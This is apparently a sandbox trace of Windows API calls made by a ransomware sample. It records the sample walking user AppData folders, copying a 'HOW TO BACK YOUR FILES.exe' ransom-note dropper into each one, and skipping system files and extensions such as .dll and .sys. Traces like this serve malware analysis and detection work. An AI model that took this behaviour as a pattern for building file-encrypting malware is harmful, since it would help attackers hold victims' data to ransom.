	[0046.465] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2=".ini") returned 1
	[0046.465] lstrlenW (lpString=".sys") returned 4
	[0046.465] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2=".sys") returned 1
	[0046.465] lstrlenW (lpString="Suggested Sites~.feed-ms") returned 24
	[0046.465] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="Web Slice Gallery~.feed-ms" | out: lpString1="Web Slice Gallery~.feed-ms") returned="Web Slice Gallery~.feed-ms"
	[0046.465] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0046.465] lstrlenW (lpString="Apollon865") returned 10
	[0046.465] lstrcmpiW (lpString1="y~.feed-ms", lpString2="Apollon865") returned 1
	[0046.465] lstrlenW (lpString=".dll") returned 4
	[0046.465] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".dll") returned 1
	[0046.465] lstrlenW (lpString=".lnk") returned 4
	[0046.465] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".lnk") returned 1
	[0046.465] lstrlenW (lpString=".ini") returned 4
	[0046.465] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".ini") returned 1
	[0046.465] lstrlenW (lpString=".sys") returned 4
	[0046.465] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".sys") returned 1
	[0046.465] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0046.465] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
	[0046.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0046.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0046.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 76
	[0046.465] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
	[0046.465] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.465] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.472] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.472] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c4b2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c4b2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.472] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.472] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.472] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.472] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c4b2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c4b2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.472] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.472] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.472] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.472] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.472] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c4b2b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c4b2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.472] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.472] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".") returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="..") returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="windows") returned -1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="bootmgr") returned 1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="temp") returned -1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="pagefile.sys") returned -1
	[0046.472] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="boot") returned 1
	[0046.473] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="ids.txt") returned 1
	[0046.473] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="ntuser.dat") returned -1
	[0046.473] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="perflogs") returned -1
	[0046.473] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="MSBuild") returned -1
	[0046.473] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0046.473] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*") returned 78
	[0046.473] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="Microsoft at Home~.feed-ms" | out: lpString1="Microsoft at Home~.feed-ms") returned="Microsoft at Home~.feed-ms"
	[0046.473] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0046.473] lstrlenW (lpString="Apollon865") returned 10
	[0046.473] lstrcmpiW (lpString1="e~.feed-ms", lpString2="Apollon865") returned 1
	[0046.474] lstrlenW (lpString=".dll") returned 4
	[0046.474] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".dll") returned 1
	[0046.474] lstrlenW (lpString=".lnk") returned 4
	[0046.474] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".lnk") returned 1
	[0046.474] lstrlenW (lpString=".ini") returned 4
	[0046.474] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".ini") returned 1
	[0046.474] lstrlenW (lpString=".sys") returned 4
	[0046.474] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".sys") returned 1
	[0046.474] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0046.474] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="Microsoft at Work~.feed-ms" | out: lpString1="Microsoft at Work~.feed-ms") returned="Microsoft at Work~.feed-ms"
	[0046.474] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0046.474] lstrlenW (lpString="Apollon865") returned 10
	[0046.474] lstrcmpiW (lpString1="k~.feed-ms", lpString2="Apollon865") returned 1
	[0046.474] lstrlenW (lpString=".dll") returned 4
	[0046.474] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".dll") returned 1
	[0046.475] lstrlenW (lpString=".lnk") returned 4
	[0046.475] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".lnk") returned 1
	[0046.475] lstrlenW (lpString=".ini") returned 4
	[0046.475] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".ini") returned 1
	[0046.475] lstrlenW (lpString=".sys") returned 4
	[0046.475] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".sys") returned 1
	[0046.475] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0046.475] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="MSNBC News~.feed-ms" | out: lpString1="MSNBC News~.feed-ms") returned="MSNBC News~.feed-ms"
	[0046.475] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0046.475] lstrlenW (lpString="Apollon865") returned 10
	[0046.475] lstrcmpiW (lpString1="s~.feed-ms", lpString2="Apollon865") returned 1
	[0046.475] lstrlenW (lpString=".dll") returned 4
	[0046.475] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".dll") returned 1
	[0046.475] lstrlenW (lpString=".lnk") returned 4
	[0046.475] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".lnk") returned 1
	[0046.475] lstrlenW (lpString=".ini") returned 4
	[0046.475] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".ini") returned 1
	[0046.475] lstrlenW (lpString=".sys") returned 4
	[0046.475] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".sys") returned 1
	[0046.475] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0046.475] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer"
	[0046.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0046.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0046.475] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer") returned 66
	[0046.475] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer"
	[0046.475] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.480] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.480] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c71410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.480] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.480] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.480] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.480] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c71410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.480] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.480] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.480] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.480] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.480] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c71410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.480] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.480] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c71410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.480] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.480] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0046.481] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials"
	[0046.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0046.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0046.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials") returned 65
	[0046.481] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials"
	[0046.481] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.488] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c71410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.488] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.488] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.488] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.488] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c71410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.488] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.488] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.488] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.488] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.488] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c71410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.488] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.488] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c71410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.488] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.488] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0046.488] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History"
	[0046.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599cb8 | out: hHeap=0x580000) returned 1
	[0046.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0046.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned 51
	[0046.488] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History"
	[0046.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.496] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c71410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c71410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0046.497] GetLastError () returned 0x5
	[0046.497] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 85
	[0046.497] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 85
	[0046.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0046.497] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1366
	[0046.497] WriteFile (in: hFile=0x150, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x55, lpOverlapped=0x0) returned 1
	[0046.497] CloseHandle (hObject=0x150) returned 1
	[0046.497] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0046.497] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google"
	[0046.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c48 | out: hHeap=0x580000) returned 1
	[0046.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0046.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned 50
	[0046.497] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google"
	[0046.497] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c97570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
